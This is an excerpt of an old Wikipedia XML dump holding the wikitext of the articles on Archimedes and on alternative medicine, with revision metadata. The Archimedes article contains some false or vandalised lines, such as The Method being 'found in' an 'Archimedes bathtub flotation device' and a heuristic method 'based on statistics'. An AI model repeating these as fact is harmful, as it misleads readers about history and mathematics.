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      <text xml:space="preserve">:''For other senses of this word, see [[Archimedes (disambiguation)]].''
[[Image:Archimedes.jpg|thumb|right|Archimedes of Syracuse.]]
'''Archimedes''' ([[Greek language|Greek]]: Αρχιμηδης ) (''c''. [[287 BC]]&amp;ndash;[[212 BC]]) was an ancient Sicilian [[mathematician]], [[physicist]], [[engineer]], [[astronomer]] and [[philosopher]] born in the seaport colony of [[Syracuse, Italy|Syracuse]]. He is considered by some [[history of mathematics|historians of mathematics]] to be one of the greatest mathematicians in [[antiquity]]; [[Carl Friedrich Gauss]] considered him one of the three greatest ever.  

==Discoveries and inventions==
[[Image:Archimedes' screw.jpg|thumb|The [[Archimedes' screw]] lifts water to higher levels for irrigation]]

Archimedes became a popular figure as a result of his involvement in the defense of Syracuse against the [[Roman Republic|Roman]] [[siege]] in the [[Second Punic War]]. He is reputed to have held the Romans at bay with war machines of his own design; to have been able to move a full-size ship complete with crew and cargo by pulling a single rope[http://www.smith.edu/hsc/museum/ancient_inventions/shipshaker2.html]; to have [[discovery (observation)|discover]]ed the principles of [[density]] and [[buoyancy]], also known as [[Archimedes' principle]], while taking a bath (thereupon taking to the streets naked he called &quot;[[Eureka (word)|Eureka]]&quot;). He has also been credited with the possible invention of the [[odometer]] during the First Punic War. One of his inventions used for military defense of Syracuse against the invading Romans was the [[claw of Archimedes]]. 

[[Image:DeathRayDiagram.gif|thumb|left|A diagram showing how Archimedes may have enabled the defenders of Syracuse aim their mirrors at approaching ships]]It is said that he prevented one Roman attack on Syracuse by using a large array of [[mirror]]s (speculated to have been highly polished shields) to reflect sunlight onto the attacking ships causing them to catch fire.  This popular legend was tested on the Discovery Channel's ''[[MythBusters]]'' program. After a number of experiments, whereby the hosts of the program tried burning a model wooden ship with a variety of mirrors, they concluded that the enemy ships would have had to have been virtually motionless and very close to shore for them to ignite, an unlikely scenario during a battle.  A group at MIT subsequently performed their own tests and concluded that the mirror weapon was a possibility [http://web.mit.edu/2.009/www/lectures/10_ArchimedesResult.html], although later tests of their system showed it to be ineffective in conditions that more closely matched the described siege [http://www.sfgate.com/cgi-bin/article.cgi?f=/n/a/2005/10/22/state/n121443D54.DTL]. 

Archimedes was killed by a Roman soldier in the sack of Syracuse during the Second Punic War, despite orders from the Roman general, [[Marcus Claudius Marcellus|Marcellus]], that he was not to be harmed. The Greeks said that he was killed while drawing an equation in the sand; engrossed in his diagram and impatient with being interrupted, he is said to have muttered his [[famous last words]] before being slain by an enraged Roman soldier: Μὴ μοὺ τους κύκλους τάραττε (&quot;Don't disturb my circles&quot;).  This story was sometimes told to contrast the Greek high-mindedness with Roman ham-handedness; however, it should be noted that Archimedes designed the siege engines that devastated a substantial Roman invasion force, so his death may have been out of retribution.

In creativity and insight, he exceeded any other European mathematician prior to the European [[Renaissance]]. In a civilization with an awkward numeral system and a language in which &quot;a myriad&quot; (literally &quot;ten thousand&quot;) meant &quot;infinity&quot;, he invented a positional numeral system and used it to write numbers up to 10&lt;sup&gt;64&lt;/sup&gt;. He devised a [[heuristic]] method based on [[statistics]] to do private calculation that we would classify today as [[integral calculus]], but then presented rigorous [[geometry|geometric]] proofs for his results. To what extent he actually had a correct version of integral calculus is debatable. He proved that the [[ratio]] of a [[circle]]'s [[perimeter]] to its [[diameter]] is the same as the ratio of the circle's area to the [[square (geometry)|square]] of the [[radius]]. He did not call this ratio [[Pi|&amp;pi;]] but he gave a procedure to approximate it to arbitrary accuracy and gave an approximation of it as between 3 + 10/71 (approximately 3.1408) and 3 + 1/7 (approximately 3.1429). He was the first [[ancient Greece|Greek]] mathematician to introduce [[mechanical]] curves (those traced by a moving point) as legitimate objects of study. He proved that the area enclosed by a [[parabola]] and a straight line is 4/3 the area of a [[triangle (geometry)|triangle]] with equal base and height.  (See the illustration below.  The &quot;base&quot; is any [[secant line]], not necessarily [[orthogonal]] to the parabola's [[axis]]; &quot;the same base&quot; means the same &quot;horizontal&quot; component of the length of the base; &quot;horizontal&quot; means orthogonal to the axis. &quot;Height&quot; means the length of the segment parallel to the axis from the [[vertex]] to the base. The vertex must be so placed that the two horizontal distances mentioned in the illustration are equal.)

&lt;div style=&quot;float:right;padding:5px;text-align:center&quot;&gt;[[Image:Parabola.png]]&lt;br&gt;&lt;/div&gt;

In the process, he calculated the oldest known example of a [[geometric series]] with the [[ratio]] 1/4:

:&lt;math&gt; \sum_{n=0}^\infty 4^{-n} = 1 + 4^{-1} + 4^{-2} + 4^{-3} + \cdots = {4\over 3} \; . &lt;/math&gt;

If the first term in this series is the area of the triangle in the [[illustration]] then the second is the sum of the areas of two triangles whose bases are the two smaller secant lines in the illustration. Essentially, this paragraph summarizes the proof. Archimedes also gave a quite different proof of nearly the same [[proposition]] by a method using [[infinitesimals]] (see &quot;[[How Archimedes used infinitesimals]]&quot;).

He proved that the [[area]] and volume of the [[sphere]] are in the same ratio to the area and volume of a circumscribed straight [[cylinder (geometry)|cylinder]], a result he was so proud of that he made it his [[epitaph]].

Archimedes is probably also the first [[mathematical physicist]] on record, and the best before [[Galileo Galilei|Galileo]] and [[Isaac Newton|Newton]]. He invented the field of [[statics]], enunciated the law of the [[lever]], the law of [[equilibrium]] of [[fluids]] and the law of [[buoyancy]]. (He famously discovered the latter when he was asked to determine whether a crown had been made of pure gold, or gold adulterated with silver; he realized that the rise in the water level when it was immersed would be equal to the volume of the crown, and the decrease in the weight of the crown would be in proportion; he could then compare those with the values of an equal weight of pure gold). He was the first to identify the concept of [[center of gravity]], and he found the centers of gravity of various geometric figures, assuming uniform [[density]] in their interiors, including triangles, [[paraboloid]]s, and [[sphere|hemisphere]]s. Using only [[ancient Greece|ancient Greek]] [[geometry]], he also gave the equilibrium positions of floating sections of paraboloids as a function of their height, a feat that would be taxing to a modern physicist using [[calculus]]. 

Apart from general physics he was an [[astronomer]], and [[Cicero]] writes that the Roman [[consul]] [[Marcus Claudius Marcellus|Marcellus]] brought two devices back to [[Rome]] from the sacked city of Syracuse. One device mapped the [[sky]] on a sphere and the other predicted the motions of the [[sun]] and the [[moon]] and the [[planet]]s (i.e., an [[orrery]]). He credits [[Thales]] and [[Eudoxus of Cnidus|Eudoxus]] for constructing these devices. For some time this was assumed to be a legend of doubtful nature, but the discovery of the [[Antikythera mechanism]] has changed the view of this issue, and it is indeed probable that Archimedes possessed and constructed such devices. [[Pappus]] of [[Alexandria]] writes that Archimedes had written a practical book on the construction of such spheres entitled ''[[On Sphere-Making]]''.

Archimedes' works were not widely recognized, even in [[classical antiquity|antiquity]]. He and his contemporaries probably constitute the peak of Greek [[mathematical rigour]]. During the [[Middle Ages]] the mathematicians who could understand Archimedes' work were few and far between. Many of his works were lost when the [[library of Alexandria]] was burnt (twice) and survived only in [[Latin]] or [[Arabic language|Arabic]] [[translation]]s. As a result, his ''[[how Archimedes used infinitesimals|mechanical method]]'' was lost until around [[1900]], after the [[arithmetization of analysis]] had been carried out successfully. We can only speculate about the effect that the &quot;method&quot; would have had on the development of [[calculus]] had it been known in the [[16th century|16th]] and [[17th century|17th]] centuries.

== Writings by Archimedes ==
* ''On the Equilibrium of Planes'' (2 volumes)
:This scroll explains the law of the lever and uses it to calculate the areas and centers of gravity of various geometric figures. 
* ''On Spirals''
:In this scroll, Archimedes defines what is now called [[Archimedean spiral|Archimedes' spiral]]. This is the first mechanical curve (i.e., traced by a moving point) ever considered by a Greek mathematician. Using this curve, he was able to [[Squaring the circle|square the circle]]. 
* ''On the Sphere and The Cylinder''
:In this scroll Archimedes obtains the result he was most proud of: that the area and volume of a sphere are in the same relationship to the area and volume of the circumscribed straight cylinder. 
* ''On Conoids and Spheroids''
:In this scroll Archimedes calculates the areas and volumes of sections of cones, spheres and paraboloids. 
* ''On Floating Bodies'' (2 volumes)
:In the first part of this scroll, Archimedes spells out the law of equilibrium of fluids, and proves that water around a center of gravity will adopt a spherical form. This is probably an attempt at explaining the observation made by Greek astronomers that the Earth is round. Note that his fluids are not self-gravitating: he assumes the existence of a point towards which all things fall and derives the spherical shape. One is led to wonder what he would have done had he struck upon the idea of universal [[gravitation]].
:In the second part, a veritable ''tour-de-force'', he calculates the equilibrium positions of sections of paraboloids. This was probably an idealization of the shapes of ships' hulls. Some of his sections float with the base under water and the summit above water, which is reminiscent of the way [[iceberg]]s float, although Archimedes probably was not thinking of this application.
* ''The Quadrature of the Parabola''
:In this scroll, Archimedes calculates the area of a segment of a parabola (the figure delimited by a parabola and a secant line not necessarily perpendicular to the axis). The final answer is obtained by [[Triangulation|triangulating]] the area and summing the geometric series with ratio 1/4. 
* ''Stomachion''
:This is a Greek puzzle similar to [[Tangram]]. In this scroll, Archimedes calculates the areas of the various pieces. This may be the first reference we have to this game. Recent discoveries indicate that Archimedes was attempting to determine how many ways the strips of paper could be assembled into the shape of a square. This is possibly the first use of [[combinatorics]] to solve a problem.
* ''Archimedes' Cattle Problem''
:Archimedes wrote a letter to the scholars in the Library of Alexandria, who apparently had downplayed the importance of Archimedes' works. In these letters, he dares them to count the numbers of cattle in the [[Herd of the Sun]] by solving a number of simultaneous [[Diophantus|Diophantine]] equations, some of them [[quadratic equation|quadratic]] (in the more complicated version). This problem is one of the famous problems solved with the aid of a computer.  The solution is a very large number, approximately {{sn|7.760271|206544}} (See the external links to the Cattle Problem.)
* ''[[The Sand Reckoner]]''
:In this scroll, Archimedes counts the number of grains of sand fitting inside the [[universe]]. This book mentions [[Aristarchus of Samos]]' theory of the [[solar system]] (concluding that &quot;this is impossible&quot;), contemporary ideas about the size of the Earth and the distance between various celestial bodies. From the introductory letter we also learn that Archimedes' father was an astronomer.
* ''&quot;[[Archimedes Palimpsest|The Method]]&quot;''
:In this work, which was unknown in the Middle Ages, but the importance of which was realised after its discovery, Archimedes pioneered the use of [[infinitesimal]]s, showing how breaking up a figure in an infinite number of infinitely small parts could be used to determine its area or volume. Archimedes did probably consider these methods not mathematically precise, and he used these methods to find at least some of the areas or volumes he sought, and then used the more traditional [[method of exhaustion]] to prove them. This particular work is found in what is called the [[Archimedes bathtub flotation device]]. Some details can be found at [[how Archimedes used infinitesimals]].

==Quotes about Archimedes==
* &quot;Perhaps the best indication of what Archimedes truly loved most is his request that his tombstone include a cylinder circumscribing a sphere, accompanied by the inscription of his amazing [[theorem]] that the sphere is exactly two-thirds of the circumscribing cylinder in both surface area and volume!&quot; (Laubenbacher and Pengelley, p. 95)&lt;sup id=&quot;fn_1_back&quot;&gt;[[#fn_1|1]]&lt;/sup&gt;

* &quot;...but regarding the work of an engineer and every art that ministers the needs of life as ignoble and vulgar, he devoted his earnest efforts only to those studies the subtlety and charm of which are not affected by the claims of necessity.&quot; [[Plutarch]], possibly explaining why Archimedes produced no writings that describe precisely the design of his inventions. It has also been suggested that this statement merely reflects the prejudices of Plutarch and his peers, influenced by [[Platonic]] beliefs in pure [[reasoning]] and [[deduction]] over [[experimentation]] and [[induction (philosophy)|inductive]] processes. Given Archimedes's prodigious output as an engineer, Plutarch's often quoted comments on him seem hard to believe for modern historians.

==Named after Archimedes==
* [[Archimedes (crater)|Archimedes crater]] on [[the Moon]].
* [[3600 Archimedes|Asteroid 3600 Archimedes]], named in his honour
* The [[Acorn Archimedes]]
* [[Archimedes' principle]]
* [[Archimedean property]]
* [[Archimedean solid]]
* [[Archimedean point]]
* [[Tiling_by_regular_polygons#Archimedean.2C_uniform_or_semiregular_tilings|Archimedean tiling]]
* [[Archimedean spiral]]
* [[Archimedean field]]
* [[Trammal of Archimedes]]
* [[Claw of Archimedes]]
* [[Archimedes' screw|Archimedean screw]]
* Archimedean [[copula (statistics)|copula]]
* [[Archimedes number]]

==See also==
* [[Archimedes Palimpsest]]
* [[How Archimedes used infinitesimals]]

== Notes==
&lt;cite id=&quot;fn_1&quot;&gt;[[#fn_1_back|Note 1:]]&lt;/cite&gt; p. 95, ''[[Mathematical Expeditions: Chronicles by the Explorers]]'' by [[Reinhard Laubenbacher|Laubenbacher]] and [[David Pengelley|Pengelley]] ([[1999]]) ISBN 0387984348 (Hardcover) ISBN 038798433X (Paperback)

[[Category:287 BC births]]
[[Category:212 BC deaths]]
[[Category:Ancient Greek engineers]]
[[Category:Ancient Greek inventors]]
[[Category:Ancient Greek mathematicians]]
[[Category:Ancient Greek physicists]]
[[Category:Hellenistic philosophers]]
[[Category:Sicilian Greeks]]
[[Category:Murdered scientists]]
[[Category:History of physics]]

== External links ==
{{wikiquote}}
* [http://www.cut-the-knot.org/Curriculum/Geometry/BookOfLemmas/index.shtml Archimedes' Book of Lemmas] at [[cut-the-knot]]
*[http://agutie.homestead.com/files/rhombicubocta.html Archimedes and the Rhombicuboctahedron] by Antonio Gutierrez from Geometry Step by Step from the Land of the Incas.
*[http://www.mcs.drexel.edu/~crorres/Archimedes/contents.html Archimedes Home Page]
* {{MacTutor Biography|id=Archimedes }}
*[http://www.thewalters.org/archimedes/frame.html The Archimedes Palimpsest] web pages at the [[Walters Art Museum]].
*[http://www.pbs.org/wgbh/nova/archimedes/palimpsest.html NOVA program on Archimedes Palimpsest]
*[http://www.mcs.drexel.edu/~crorres/Archimedes/Crown/CrownIntro.html Archimedes - The Golden Crown] points out that in reality Archimedes may well have used a more subtle method than the one in the classic version of the story.
*[http://www.math.ubc.ca/~cass/archimedes/parabola.html Archimedes' ''Quadrature Of The Parabola''] Translated by [[Thomas Heath]].
*[http://www.math.ubc.ca/~cass/archimedes/circle.html Archimedes' ''On The Measurement Of The Circle''] Translated by [[Thomas Heath]].
* [http://www.mcs.drexel.edu/~crorres/Archimedes/Cattle/Statement.html Archimedes' Cattle Problem]
* [http://mathworld.wolfram.com/ArchimedesCattleProblem.html Archimedes' Cattle Problem]
*{{gutenberg author|id=Archimedes|name=Archimedes}}
* [http://www.cut-the-knot.org/pythagoras/archi.shtml Angle Trisection by Archimedes of Syracuse (Java)]
* [http://www.cut-the-knot.org/ctk/Parabola.shtml#ArchimedesTriangle Archimedes'Triangle (Java)]
* [http://www.cut-the-knot.org/pythagoras/Archimedes.shtml An ancient extra-geometric proof]
* [http://www.cut-the-knot.org/ctk/Parabola.shtml#SqParabola Archimedes' Squaring of Parabola (Java)] at [[cut-the-knot]]
* [http://www.mlahanas.de/Greeks/Mirrors.htm Archimedes and his Burning Mirrors, Reality or Fantasy?]

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    </revision>
  </page>
  <page>
    <title>Alternative medicine</title>
    <id>1845</id>
    <revision>
      <id>42123227</id>
      <timestamp>2006-03-03T23:47:58Z</timestamp>
      <contributor>
        <username>Dieter Simon</username>
        <id>2599</id>
      </contributor>
      <minor />
      <comment>/* Critiques */ Have formatted this link. This does not reflect my acceptance or otherwise of the opinions professed</comment>
      <text xml:space="preserve">{{mergefrom|Complementary and alternative medicine}} 

'''Alternative medicine''' broadly describes methods and practices used in place of, or in addition to, [[medicine|conventional medical]] treatments.  The precise scope of alternative medicine is a matter of some debate and depends to a great extent on the definition of &quot;conventional medicine.&quot; Many practitioners regard the distinction as false, preferring &quot;good medicine&quot; (which demonstrably works) and &quot;bad medicine.&quot; Richard Dawkins, professor of the Public Understanding of Science at Oxford, notes that alternative medicine is defined as that set of practices that cannot be tested, refuse to be tested or consistently fail tests.

The debate on alternative medicine is complicated further by the diversity of treatments that are categorized as &quot;alternative.&quot;  These include practices that incorporate spiritual, metaphysical, or religious underpinnings; non-European medical traditions; newly developed approaches to healing; and a number of others.  Proponents of one class of alternative medicine may reject others.

Detractors of alternative medicine may also define it as &quot;diagnosis, treatment, or therapy which can be provided legally by persons who are not licensed to diagnose and treat illness,&quot; although some medical doctors find value using alternative therapies in the practice of &quot;complementary medicine.&quot;

Many in the scientific community define alternative medicine as any treatment, the efficacy and safety of which has not been verified through [[peer-review]]ed, controlled studies. This form of definition is not based on political views, turf protection, or economic interests, but hinges exclusively on questions of effectiveness and safety. It is thus possible for a method to change categories ''in either direction'', based on increased knowledge of its effectiveness or lack thereof.

Some techniques and therapies once considered to be &quot;alternative&quot;, have - upon being proven to be effective - been accepted into mainstream medicine.

The opposite is equally true, with methods once thought to be effective being dropped when it has been discovered that their only effect was because of the [[placebo effect]], or when their side effects were found to result in an unfavorable safety-to-benefit ratio.

Various advocates and critics of alternative therapies believe that the term &quot;alternative medicine&quot; is misleading. Some advocates believe that Western therapies are the &quot;alternative&quot; in that they were preceded by traditional therapies. Others believe that the term was invented by advocates of &quot;allopathic&quot; medicine in an attempt to discredit natural therapies [http://www.quackpotwatch.org/]. Critics of alternative therapies assert that they are not effective and consequently are not a legitimate alternative to [[conventional medicine]]. [[Richard Dawkins]], professor of the Public Understanding of Science at Oxford University, defines alternative medicine as ''&quot;that set of practices that cannot be tested, refuse to be tested or consistently fail tests&quot;'' (See Diamond 2003). Many on both sides believe that alternative therapies can become accepted as conventional medicine if they are scientifically proven to be effective.
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'''Alternative Medicine'''&lt;tr&gt;&lt;td&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;This article is part of the [[Terms and concepts in alternative medicine#CAM|CAM]] series of articles.&lt;tr&gt;&lt;td&gt;
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&lt;tr&gt;&lt;td colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#ffcc99&quot;&gt;'''[[:Category:Alternative medicine|CAM Article Index]]'''
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&lt;!--//END OF INFOBOX--&gt; 

==Complementary and alternative medicine== 

The [[National Center for Complementary and Alternative Medicine]] defines [[complementary and alternative medicine]] as &quot;a group of diverse medical and health care systems, practices, and products that are not presently considered to be part of conventional medicine&quot;.  One distinction that the NCCAM makes is that complementary medicine is used in conjunction with conventional medicine whereas alternative medicine is used in place of conventional medicine.  The NCCAM also defines integrative medicine as the combination of &quot;mainstream medical therapies and CAM therapies for which there is some high-quality scientific evidence of safety and effectiveness&quot;.

&quot;''Importantly, integrative medicine is not synonymous with complementary and alternative medicine (CAM). It has a far larger meaning and mission in that it calls for restoration of the focus of medicine on health and healing and emphasizes the centrality of the patient-physician relationship.&quot;'' (Snyderman, Weil 2002)

==Regulation==
[[Jurisdiction]] differs concerning which branches of alternative medicine are legal, which are regulated, and which (if any) are provided by a government-controlled [[Publicly_funded_medicine | health service]] or reimbursed by a [[ Health_insurance |private health medical insurance company]].

A number of alternative medicine advocates disagree with the restrictions of government agencies that approve medical treatments (such as the American [[Food and Drug Administration]]) and the agencies' adherence to experimental evaluation methods. They claim that this impedes those seeking to bring useful and effective treatments and approaches to the public, and protest that their contributions and discoveries are unfairly dismissed, overlooked or suppressed. Alternative medicine providers often argue that health fraud should be dealt with appropriately when it occurs.

==Contemporary use of alternative medicine==
[[Edzard Ernst]] wrote in the [[Medical Journal of Australia]] that &quot;''about half the general population in developed countries use complementary and alternative medicine (CAM)''&quot; (Ernst 2003). A  [http://nccam.nih.gov/news/2004/052704.htm survey] (Barnes et al 2004) released in May 2004 by the [[National Center for Complementary and Alternative Medicine]], part of the [[National Institutes of Health]] in the United States, found that in 2002, 36% of Americans used some form of alternative therapy in the past 12 months &amp;mdash; a category that included yoga, meditation, herbal treatments and the [[Atkins diet]]. If [[prayer]] was counted as an alternative therapy, the figure rose to 62.1%. Another study by Astin et al (1998) suggests a similar figure of 40%. A British telephone survey by the BBC of 1209 adults in 1998 shows that around 20% of adults in Britain had used alternative medicine in the past 12 months (Ernst &amp; White 1999)

The use of alternative medicine appears to be increasing. Eisenburg et al carried out a study in 1998 which showed that use of alternative medicine had risen from 33.8% in 1990 to 42.1% in 1997. In the United Kingdom, a [[2000]] report ordered by the [[House of Lords]] suggested that &quot;limited data seem to support the idea that CAM use in the United Kingdom is high and is increasing&quot;[http://www.parliament.the-stationery-office.co.uk/pa/ld199900/ldselect/ldsctech/123/12301.htm].

===Medical education===
Increasing numbers of medical colleges have begun offering courses in alternative medicine. For example, the [[University of Arizona]] College of Medicine offers a program in [[Integrative Medicine]] under the leadership of [[Andrew Weil|Dr. Andrew Weil]] which trains physicians in various branches of alternative medicine which &quot;''neither rejects conventional medicine, nor embraces alternative practices uncritically.''&quot; [http://www.ahsc.arizona.edu/opa/horizons/1997/integrate.htm] In three separate research surveys that surveyed the 125 medical schools offering a MD degree, the 19 medical schools offering a DO degree, and 585 schools of nursing in the United States: 60 percent of U.S. medical schools offering a MD degree teach CAM, 95% of Osteopathic medical school teach CAM, and 84.8% of US schools of nursing teach CAM. (Wetzel et al 1998, Saxon et al 2004, Fenton &amp; Morris 2003)

In the UK, no medical schools offer courses that teach the clinical practise of alternative medicine. However, alternative medicine is taught in several schools as part of the curriculum. Teaching is based mostly on theory and understanding alternative medicine, with emphasis on being able to communicate with alternative medicine specialists. To obtain competence in practising clinical alternative medicine, qualifications must be obtained from individual medical societies. The student must have graduated and be a qualified doctor. The [http://www.medical-acupuncture.co.uk British Medical Acupuncture Society], which offers medical acupuncture certificates to doctors, is one such example.

== Support for alternative medicine ==
Advocates of alternative medicine hold that alternative therapies often provide the public with services not available from conventional medicine.  This argument covers a range of areas, such as [[patient empowerment]], alternative methods of [[pain management]], treatment methods that support the [[biopsychosocial model]] of health, stress reduction services, other preventive health services that are not typically a part of conventional medicine, and of course complementary medicine's [[palliative care]] which is practiced by such world renowned cancer centers such as [[Memorial Sloan-Kettering Cancer Center|Memorial Sloan-Kettering]] (see Vickers 2004).

===Efficacy===
Advocates of alternative medicine hold that the various alternative treatment methods are effective in treating a wide range of major and minor medical conditions, and contend that recently published research (such as Michalsen 2003, Gonsalkorale 2003, and Berga 2003) proves the effectiveness of specific alternative treatments.  They assert that a PubMed search revealed over 370,000 research papers classified as alternative medicine published in Medline-recognized journals since 1966 in the National Library of Medicine database (such as Kleijnen 1991, Linde 1997, Michalsen 2003, Gonsalkorale  2003, and Berga 2003).

Advocates of alternative medicine hold that alternative medicine may provide health benefits through [[patient empowerment]], by offering more choices to the public, including treatments that are simply not available in conventional medicine.

''&quot;Most Americans who consult alternative providers would probably jump at the chance to consult a physician who is well trained in scientifically based medicine and who is also open-minded and knowledgeable about the body's innate mechanisms of healing, the role of lifestyle factors in influencing health, and the appropriate uses of dietary supplements, herbs, and other forms of treatment, from osteopathic manipulation to Chinese and Ayurvedic medicine. In other words, they want competent help in navigating the confusing maze of therapeutic options that are available today, especially in those cases in which conventional approaches are relatively ineffective or harmful.&quot;'' (Snyderman, Weil 2002) 

Some physicians are willing to embrace some aspects of alternative medicine.

Although advocates of alternative medicine acknowledge that the [[placebo effect]] may play a role in the benefits that some receive from alternative therapies, they point out that this does not diminish their validity. Skeptics are confounded by this view and claim that it is acknowledgement of the inefficacy of alternative treatments.

===Danger reduced when used as a complement to conventional medicine===
A major objection to alternative medicine is that it may be done in place of conventional medical treatments. As long as alternative treatments are used alongside standard conventional medical treatments, most medical doctors find most forms of complementary medicine acceptable (Vickers 2004). Consistent with previous studies,  the CDC recently reported that the majority of individuals in the United States (i.e., 54.9%) used CAM in conjunction with conventional medicine. (CDC Advance Data Report #343, 2002) 

Patients should however always inform their medical doctor they are using alternative medicine. Some patients do not tell their medical doctors since they fear it will hurt their patient-doctor relationship. However some alternative treatments may interact with orthodox medical treatments. 

The issue of alternative medicine interfering with conventional medical practices is minimized when it is only turned to after the conventional medicine path has been exhausted. Many patients believe alternative medicine can help in coping with chronic illnesses for which conventional medicine offers no cure and only management.  It is becoming more common for a patient's own MD to suggest alternatives when they cannot offer a treatment.

== Criticism of alternative medicine ==

Due to the wide range of therapies that are considered to be &quot;alternative medicine&quot; few criticisms apply across the board.  For more information about a particular therapy or branch of alternative medicine, including specific criticism, please refer to the following link:  [[List of branches of alternative medicine]].

Criticisms directed at specific branches of alternative medicine range from the fairly minor (conventional treament is believed to be more effective in a particular area) to incompatibility with the known laws of physics (for example, in [[homeopathy]]).

Proponents of the various forms of alternative medicine reject criticism as being founded in prejudice, financial self-interest, or ignorance.

===Efficacy===

====Lack of proper testing====
Despite the large number of studies regarding alternative therapies, critics contend that there are no statistics on exactly how many of these studies were controlled, double-blind peer-reviewed experiments or how many produced results supporting alternative medicine or parts thereof.  They contend that many forms of alternative medicine are rejected by conventional medicine because the efficacy of the treatments has not been demonstrated through double-blind [[randomized controlled trial]]s. Some skeptics of alternative practices point out that a person may attribute symptomatic relief to an otherwise ineffective therapy due to the natural recovery from or the cyclical nature of an illness, the [[placebo effect]], or the possibility that the person never originally had a true illness [http://www.quackwatch.org/01QuackeryRelatedTopics/altpsych.html].

====Problems with known tests and studies====
Critics contend that observer bias and poor study design invalidate the results of many studies carried out by alternative medicine promoters.

A review of the effectiveness of certain alternative medicine techniques for cancer treatment (Vickers 2004), while finding that most of these treatments are not merely &quot;unproven&quot; but are proven not to work, notes that several studies have found evidence that the [[psychosocial treatment]] of patients by [[psychologist]]s is linked to survival advantages (although it comments that these results are not consistently replicated). The same review, while specifically noting that &quot;complementary therapies for cancer-related symptoms were not part of this review&quot;, cites studies indicating that several complementary therapies can provide benefits by, for example, reducing pain and improving the mood of patients.

Some argue that less research is carried out on alternative medicine because many alternative medicine techniques cannot be patented, and hence there is little financial incentive to study them. Drug research, by contrast, can be very lucrative, which has resulted in funding of trials by pharmaceutical companies. Many people, including conventional and alternative medical practitioners, contend that this funding has led to corruption of the scientific process for approval of drug usage, and that ghostwritten work has appeared in major [[peer review|peer-reviewed]] medical journals. (Flanagin ''et al.'' 1998, Larkin 1999).  Increasing the funding for research of alternative medicine techniques was the purpose of the [[U.S. National Center for Complementary and Alternative Medicine|National Center for Complementary and Alternative Medicine]].  NCCAM and its predecessor, the Office of Alternative Medicine, have spent more than $200 million on such research since 1991.  The German Federal Institute for Drugs and Medical Devices [[Commission E]] has studied many herbal remedies for efficacy.    [http://www.csicop.org/si/2003-09/alternative-medicine.html]

===Safety===
Critics contend that &quot;dubious therapies can cause death, serious injury, unnecessary suffering, and disfigurement&quot; [http://www.quackwatch.org/01QuackeryRelatedTopics/harmquack.html] and that some people have been hurt or killed directly from the various practices or indirectly by failed diagnoses or the subsequent avoidance of conventional medicine which they believe is truly efficacious [http://www.valleyskeptic.com/perrot.htm]. 

Alternative medicine critics agree with its proponents that people should be free to choose whatever method of healthcare they want, but stipulate that people must be informed as to the safety and efficacy of whatever method they choose. People who choose alternative medicine may think they are choosing a safe, effective medicine, while they may only be getting [[quackery|quack]] remedies.

====Delay in seeking conventional medical treatment====
They state that those who have had success with one alternative therapy for a minor ailment may be convinced of its efficacy and persuaded to extrapolate that success to some other alternative therapy for a more serious, possibly life-threatening illness. For this reason, they contend that therapies that rely on the placebo effect to define success are very dangerous.

==== Danger can be increased when used as a complement to conventional medicine ====
A Norwegian multicentre study examined the association between the use of alternative medicines (AM) and cancer survival. 515 patients using standard medical care for cancer were followed for eight years. 22% of those patients used AM concurrently with their standard care.

The study revealed that death rates were 30% higher in AM users than in those who did not use AM: &quot;The use of AM seems to predict a shorter survival from cancer.&quot; -- [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=PubMed&amp;cmd=Retrieve&amp;list_uids=12565991&amp;dopt=Citation Does use of alternative medicine predict survival from cancer?]
Eur J Cancer 2003 Feb;39(3):372-7

Associate Professor Alastair MacLennan of the Department of Obstetrics and Gynaecology in Adelaide University, Australia reports that a patient of his almost bled to death on the operating table. She had failed to mention she had been taking &quot;natural&quot; potions to &quot;build up her strength&quot; for the operation - one of them turned out to be a powerful anticoagulant which nearly 
caused her death.

====Issues of regulation====
Critics contend that some branches of alternative medicine are often not properly regulated in some countries to identify who practices or know what training or expertise they may possess. Critics argue that the governmental regulation of any particular alternative therapy does necessitate that the therapy is effective.

==See also==
*[[Famous people in alternative medicine]]
*[[History of alternative medicine]]
*[[Terms and concepts in alternative medicine]]
Skeptical terms:
*[[Pseudoscience]]
*[[Quackery]]
*[[Snake oil]]
*[http://www.skepticwiki.org/wiki/index.php/SCAM sCAM (so-Called &quot;Alternative&quot; Medicine)]

== References ==

===Dictionary definitions===
*[http://cancerweb.ncl.ac.uk/cgi-bin/omd?query=Complementary+medicine&amp;action=Search+OMD Complementary medicine]

===World Health Organization publication===
*[http://www.who.int/bookorders/anglais/detart1.jsp?sesslan=1&amp;codlan=1&amp;codcol=15&amp;codcch=614 WHO Global Atlas of Traditional, Complementary and Alternative Medicine]

=== Journals dedicated to alternative medicine research ===

* Alternative therapies in health and medicine. Aliso Viejo, CA : InnoVision Communications, c1995- NLM ID: [http://locatorplus.gov/cgi-bin/Pwebrecon.cgi?DB=local&amp;v2=1&amp;ti=1,1&amp;Search_Arg=9502013&amp;Search_Code=0359&amp;CNT=20&amp;SID=1 9502013]
* Alternative medicine review : a journal of clinical therapeutic. Sandpoint, Idaho : Thorne Research, Inc., c1996- NLM ID: [http://locatorplus.gov/cgi-bin/Pwebrecon.cgi?DB=local&amp;v2=1&amp;ti=1,1&amp;Search_Arg=9705340&amp;Search_Code=0359&amp;CNT=20&amp;SID=1 9705340]
* [http://www.biomedcentral.com/1472-6882 BMC complementary and alternative medicine]. London : BioMed Central, 2001- NLM ID: [http://locatorplus.gov/cgi-bin/Pwebrecon.cgi?DB=local&amp;v2=1&amp;ti=1,1&amp;Search_Arg=101088661&amp;Search_Code=0359&amp;CNT=20&amp;SID=1 101088661] 
* Complementary therapies in medicine. Edinburgh ; New York : Churchill Livingstone, c1993- NLM ID: [http://locatorplus.gov/cgi-bin/Pwebrecon.cgi?DB=local&amp;v2=1&amp;ti=1,1&amp;Search_Arg=9308777&amp;Search_Code=0359&amp;CNT=20&amp;SID=1 9308777]
* [http://ecam.oxfordjournals.org/ Evidence based complementary and alternative medicine]
* [http://www.openmindjournals.com/EBInteg.html Evidence Based journal of Integrative medicine]
* [http://www.jintmed.com/ Journal of Integrative medicine.] 
